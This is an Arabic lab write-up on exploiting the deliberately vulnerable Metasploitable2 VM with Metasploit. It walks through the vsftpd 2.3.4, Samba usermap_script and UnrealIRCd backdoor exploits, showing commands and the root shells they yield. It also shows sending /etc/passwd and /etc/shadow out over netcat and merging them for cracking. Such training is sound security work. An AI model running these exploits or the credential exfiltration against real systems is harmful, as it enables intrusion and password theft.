استغلال Metasploitable2 باستخدام Metasploit: VSFTPD و Samba وأكثر

دليل عملي لاستغلال الثغرات باستخدام إطار Metasploit — بدءًا من إعداد قاعدة بيانات PostgreSQL وفحص db_nmap، مرورًا بثلاث واجهات شل صلبة عبر vsftpd و Samba و UnrealIRCd، وصولًا إلى استخراج بيانات الاعتماد باستخدام Netcat.

نظرة عامة

يوثق هذا المستودع جلسة استغلال كاملة باستخدام Metasploit ضد Metasploitable2 في مختبر معزول على VirtualBox. المواضيع التي يغطيها:

• إعداد Metasploit مع محرك PostgreSQL ومساحات عمل
• تشغيل db_nmap لحفظ نتائج الفحص مباشرة في قاعدة البيانات
• استغلال الباب الخلفي في vsftpd 2.3.4 (اختراق سلسلة التوريد)
• استغلال Samba CVE-2007-2447 (حقن أوامر usermap_script)
• استخراج ملفات /etc/passwd و /etc/shadow عبر Netcat ودمجها باستخدام unshadow
• استغلال الباب الخلفي في UnrealIRCd 3.2.8.1

بيئة المختبر

الشبكة: 192.168.1.0/24 — شبكة NAT معزولة بالكامل داخل VirtualBox.

الخطوة 1 — إعداد Metasploit والفحص المدعوم بقاعدة البيانات

# تشغيل PostgreSQL وإعداد قاعدة البيانات (مرة واحدة فقط)
sudo systemctl start postgresql
sudo msfdb init

# تشغيل Metasploit
msfconsole

msf6> db_status           # التحقق: متصل بـ msf. نوع الاتصال: postgresql.
msf6> workspace -a 178-metasploitable2
msf6> workspace           # تأكيد مساحة العمل النشطة

msf6> db_nmap -A 192.168.1.0/24 -n

msf6> hosts
msf6> services

تم العثور على خادمي FTP على Metasploitable2:

الخطوة 2 — استغلال vsftpd 2.3.4 (باب خلفي)

في يوليو 2011، تم اختراق أرشيف المصدر لـ vsftpd 2.3.4 — تم إدخال باب خلفي يفتح واجهة شل صلبة على المنفذ 6200 عندما يحتوي اسم مستخدم FTP على :). CVE: CVE-2011-2523. الفرق في الشفرة: https://pastebin.com/AetT9sS5

msf6> search type:exploit name:vsftpd
# النتيجة: exploit/unix/ftp/vsftpd_234_backdoor  (الترتيب: ممتاز)

msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> info

msf6> set RHOSTS 192.168.1.3
msf6> set RPORT 21
msf6> set LHOST 192.168.1.4
msf6> exploit

meterpreter> shell
whoami          # root
uname -a        # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

استخراج كلمات المرور المشفرة:

cat /etc/shadow | grep '$1'

الخطوة 3 — استغلال Samba (CVE-2007-2447)

إصدارات Samba 3.0.0–3.0.25rc3 تمرر أحرفًا وصفية للقشرة في حقل اسم المستخدم مباشرة إلى /bin/sh عبر خيار username map script — قبل حدوث المصادقة. يعمل Metasploitable2 على Samba 3.0.20-Debian.

msf6> search type:exploit name:samba
# تم العثور على ~7 استغلالات

msf6> use exploit/multi/samba/usermap_script
msf6> info

msf6> set RHOSTS 192.168.1.3
msf6> exploit

whoami          # root
smbd --version  # Version 3.0.20-Debian

استخراج الملفات عبر Netcat

العلامة التبويبية 2 — Kali (الاستقبال):

nc -l -p 4567 > passwd.txt

العلامة التبويبية 1 — واجهة الاستغلال (الإرسال):

cat /etc/passwd | nc 192.168.1.4 4567

كرر العملية مع /etc/shadow، ثم ادمج:

unshadow passwd.txt shadow.txt > metasploitable_logins.txt
cat metasploitable_logins.txt

الخطوة 4 — استغلال UnrealIRCd 3.2.8.1 (باب خلفي)

تم توزيع UnrealIRCd 3.2.8.1 مع باب خلفي في شفرته المصدرية. إرسال AB إلى المنفذ 6667 يجعل الخادم ينفذ أي أمر لاحق كجذر — دون الحاجة إلى مصادقة.

msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload cmd/unix/bind_netcat
msf6> set RHOSTS 192.168.1.3
msf6> set LHOST 192.168.1.4
msf6> set RPORT 6667
msf6> exploit

whoami   # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

الخيارات المطلوبة:

سير عمل Metasploit بنظرة سريعة

db_nmap → hosts → services → search → use → info → show options → set → exploit → shell

الأخطاء الشائعة

النقاط الرئيسية

• vsftpd 2.3.4 و UnrealIRCd 3.2.8.1 كانا كلاهما اختراقًا لسلسلة التوريد — أبواب خلفية مخبوزة في أرشيفات التوزيع الرسمية
• CVE-2007-2447 في Samba ينشط قبل المصادقة — التصحيح هو الحل الوحيد للتخفيف
• Netcat لا يتطلب تبعيات ويعمل لاستخراج الملفات عبر أي نظام Unix تقريبًا
• info قبل exploit عادة تستحق البناء — فهي تُظهر CVE والإصدارات المتأثرة والخيارات المطلوبة

🌐 تواصل معي